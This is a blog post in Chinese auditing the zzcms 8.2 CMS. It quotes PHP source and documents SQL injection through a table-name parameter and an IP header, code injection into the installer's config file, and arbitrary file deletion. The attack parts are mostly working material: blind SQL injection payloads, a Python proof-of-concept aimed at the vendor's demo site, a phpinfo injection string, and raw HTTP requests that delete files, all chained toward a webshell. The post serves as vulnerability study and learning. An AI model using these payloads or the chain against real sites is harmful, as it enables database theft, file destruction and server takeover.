还是太菜了,搭好的CMS注册用户时显示不出验证码,以至于无法注册,只复现出配置文件写入的问题.
就以此篇慢慢入手代码审计吧.
前端SQL注入 个人理解:分析是否存在注入,先从输入点找起,再寻找是否有对数据清洗的函数,再判断数据流向
tablename注入点 问题文件:user/del.php 从此处用post方法接受pagename,tablename,id三个参数.
1 2 3 4 5 6 7 8 9 10 $pagename=trim($_POST["pagename" ]); $tablename=trim($_POST["tablename" ]); $id="" ; if (!empty ($_POST['id' ])){    for ($i=0 ; $i<count($_POST['id' ]);$i++){    checkid($_POST['id' ][$i]);     $id=$id.($_POST['id' ][$i].',' );     }    $id=substr($id,0 ,strlen($id)-1 ); } 
发现有个checkid()函数
1 2 3 4 5 6 7 8 9 function  checkid ($id,$classid=0 ,$msg='' ) if  ($id<>'' ){   if  (is_numeric($id)==false ){showmsg('参数 ' .$id.' 有误!相关信息不存在' );}    elseif  ($id>100000000 ){showmsg('参数超出了数字表示范围!系统不与处理。' );}    if  ($classid==0 ){       if  ($id<1 ){showmsg('参数有误!相关信息不存在。\r\r提示:' .$msg);}    } } } 
id只能为数字,并且限制了数字的范围.因此id难以利用
那继续看看pagename,tablename
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 代码27 行开始,判断tablename的情况, switch  ($tablename){case  "zzcms_main" ;if  (strpos($id,"," )>0 ){      $sql="select img,flv,editor from zzcms_main where id in (" .$id.")" ;    }else {       $sql="select img,flv,editor from zzcms_main where id ='$id'" ;    } $rs=query($sql); $row=num_rows($rs); 代码92 行有传入tablename进行数据库操作 if  ($tablename=='zzcms_guestbook' ){if  (strpos($id,"," )>0 ){       $sql="select id,saver from " .$tablename." where id in (" .$id.")" ; }else {     $sql="select id,saver from " .$tablename." where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs); if  ($row){while  ($row=fetch_array($rs)){    if  ($row["saver" ]<>$username){    markit();    showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!' );    }    query("delete from " .$tablename." where id =" .$row['id' ]."" ); } echo  "<script>location.href='" .$pagename."';</script>" ;} } 
但是表名被固定zzcms_guestbook,继续往下看
1 2 3 4 5 6 7 8 else {if  (strpos($id,"," )>0 ){       $sql="select id,editor from " .$tablename." where id in (" . $id .")" ; }else {     $sql="select id,editor from " .$tablename." where id ='$id'" ; } $rs=query($sql); $row=num_rows($rs); 
其实该CMS有对sql作出防御因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。
1 id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)# 
由于环境问题,没法复现,图片是偷的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function  zc_check ($string)    if (!is_array($string)){       if (get_magic_quotes_gpc()){       return  htmlspecialchars(trim($string));       }else {       return  addslashes(htmlspecialchars(trim($string)));       }     }    foreach ($string as  $k => $v) $string[$k] = zc_check($v);    return  $string; } if ($_REQUEST){   $_POST =zc_check($_POST);    $_GET =zc_check($_GET);    $_COOKIE =zc_check($_COOKIE);    @extract($_POST);    @extract($_GET);    } 
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  requestsimport  timepayloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'      url = "http://demo.zzcms.net/user/del.php"  user = ''  for  i in  range(1 , 2 ):        for  payload in  payloads:                     startTime = time.time()                 post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))="  + str(ord(payload)) + "),sleep(5),1)%23" .encode("utf-8" )                 response = requests.post(url, timeout=6 , data=post_data, headers={"Content-Type" : "application/x-www-form-urlencoded" }  ) if  time.time() - startTime > 5 :                        user = payload print  'user is:' , userbreak print  '\n[Done] current user is %s'  % user
ip注入点 问题文件 /user/logincheck.php ip利用自定义的getip()函数获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 include  '../3/ucenter_api/config.inc.php' ;include  '../3/ucenter_api/uc_client/client.php' ;$ip=getip(); define('trytimes' ,5 ); define('jgsj' ,10 *60 ); $sql="select * from zzcms_login_times where ip='$ip' and count>=" .trytimes." and unix_timestamp()-unix_timestamp(sendtime)<" .jgsj." " ; $rs = query($sql);  $row= num_rows($rs); if  ($row){$jgsj=jgsj/60 ; showmsg("密码错误次数过多,请于" .$jgsj."分钟后再试!" ); } checkyzm($_POST["yzm" ]); $go=0 ; $username=nostr(trim($_POST["username" ])); $password=md5(trim($_POST["password" ])); $fromurl=@$_POST["fromurl" ]; $CookieDate=@$_POST["CookieDate" ][0 ]; if  ($CookieDate=="" ) {$CookieDate=0 ; }_ 
跟进getip()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 function  getip () if  (getenv("HTTP_CLIENT_IP" ) && strcasecmp(getenv("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv("HTTP_CLIENT_IP" );  else  if  (getenv("HTTP_X_FORWARDED_FOR" ) && strcasecmp(getenv("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv("HTTP_X_FORWARDED_FOR" );  else  if  (getenv("REMOTE_ADDR" ) && strcasecmp(getenv("REMOTE_ADDR" ), "unknown" )) $ip = getenv("REMOTE_ADDR" );  else  if  (isset ($_SERVER['REMOTE_ADDR' ]) && $_SERVER['REMOTE_ADDR' ] && strcasecmp($_SERVER['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER['REMOTE_ADDR' ];  else  $ip = "unknown" ;  return ($ip); } 
没有对ip进行数据清洗,因此此处存在注入,可利用时间盲注获取数据
payload
1 127.0.0.1’ and if(length(database())>1,sleep(4),0) %23 
配置文件写入问题 install/step4.php 仅对传入的当前网站访问地址做是否为空判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if  (document.myform.db_host.value=='' ){   alert('请填写数据库服务器' );    document.myform.db_host.focus();    return  false ; } if  (document.myform.db_user.value=='' ){   alert('请填写数据库用户名' );    document.myform.db_user.focus();    return  false ; } if  (document.myform.db_name.value=='' ){   alert('请填写数据库名' );    document.myform.db_name.focus();    return  false ; } if (document.myform.db_name.value.search(re)==-1 )  {    alert("数据库名只能用字母或数字!" ); document.myform.db_name.focus(); return  false ;   } if  (document.myform.url.value=='' ){   alert('请填写当前网站访问地址' );    document.myform.url.focus();    return  false ; } if  (document.myform.admin.value=='' ){   alert('请填写管理员帐号' );    document.myform.admin.focus();    return  false ; } if  (document.myform.adminpwd.value=='' ){   alert('请填写管理员帐号' );    document.myform.adminpwd.focus();    return  false ; } if  (document.myform.adminpwd.value!=document.myform.adminpwd2.value){alert ("两次密码输入不一致,请重新输入。" ); document.myform.adminpwd.value='' ; document.myform.adminpwd2.value='' ; document.myform.adminpwd.focus(); return  false ;} 
install/index.php 保存配置文件.未对传入数据进行清洗 1 2 3 4 5 6 7 8 9 10 11 12 13 $fp="../inc/config.php" ; $f = fopen($fp,'r' ); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','" .sqlhost."')" ,"define('sqlhost','$db_host')" ,$str) ; $str=str_replace("define('sqlport','" .sqlport."')" ,"define('sqlport','$db_port')" ,$str) ; $str=str_replace("define('sqldb','" .sqldb."')" ,"define('sqldb','$db_name')" ,$str) ; $str=str_replace("define('sqluser','" .sqluser."')" ,"define('sqluser','$db_user')" ,$str) ; $str=str_replace("define('sqlpwd','" .sqlpwd."')" ,"define('sqlpwd','$db_pass')" ,$str) ; $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','$url')" ,$str) ; $str=str_replace("define('logourl','" .logourl."')" ,"define('logourl','$url/image/logo.png')" ,$str) ; $f=fopen($fp,"w+" ); 
于是在构造payload填入当前网站访问地址
1 $str=str_replace("define('siteurl','" .siteurl."')" ,"define('siteurl','localhost’);phpinfo();#')" ,$str) ; 
达到代码注入的目的,从而getshell.但是这个漏洞需要配合任意文件删除,删除install/install.lock文件,进行重装,否则这个漏洞无法利用
任意文件删除 这个点由于没有复现成功不是很理解,记录姿势以后再看看吧.
情况一:在action=add的情况下进行任意文件删除  首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/zssave.php HTTP/1.1  Host: 127.0.0.1  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  Accept-Encoding: gzip, deflate  Content-Type: application/x-www-form-urlencoded  Content-Length: 289  Referer: http://127.0.0.1/user/zsadd.php  Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd  Connection: close  Upgrade-Insecure-Requests: 1  proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF 
 然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/del.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 97 Referer: http://127.0.0.1/user/zsmanage.php Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd Connection: close Upgrade-Insecure-Requests: 1 id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main 
情况二:在action=modify的情况下进行任意文件删除  进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /user/zssave.php HTTP/1.1  Host: 127.0.0.1  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  Accept-Encoding: gzip, deflate  Content-Type: application/x-www-form-urlencoded  Content-Length: 290  Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1  Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd  Connection: close  Upgrade-Insecure-Requests: 1  proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A 
配合上sql注入进入后台,利用任意文件删除使cms重装,在配置文件上注入一句话,就可以getshell
参考链接 http://www.freebuf.com/column/166525.html 
http://www.freebuf.com/column/165934.html 
http://www.freebuf.com/column/166525.html 
https://blog.csdn.net/CSDNPM250/article/details/81414162 http://www.freebuf.com/vuls/161888.html 
         
        
            
                
                    
                        Author: 
                        zhhhy 
                    
                
                
                    
                        Permalink: 
                        http://yoursite.com/2018/09/27/zzcms8-2/ 
                
                
                    
                        License: 
                        Copyright (c) 2019 CC-BY-NC-4.0  LICENSE 
                    
                
                
                     
                         Solgan: 
                         Do you believe in DESTINY?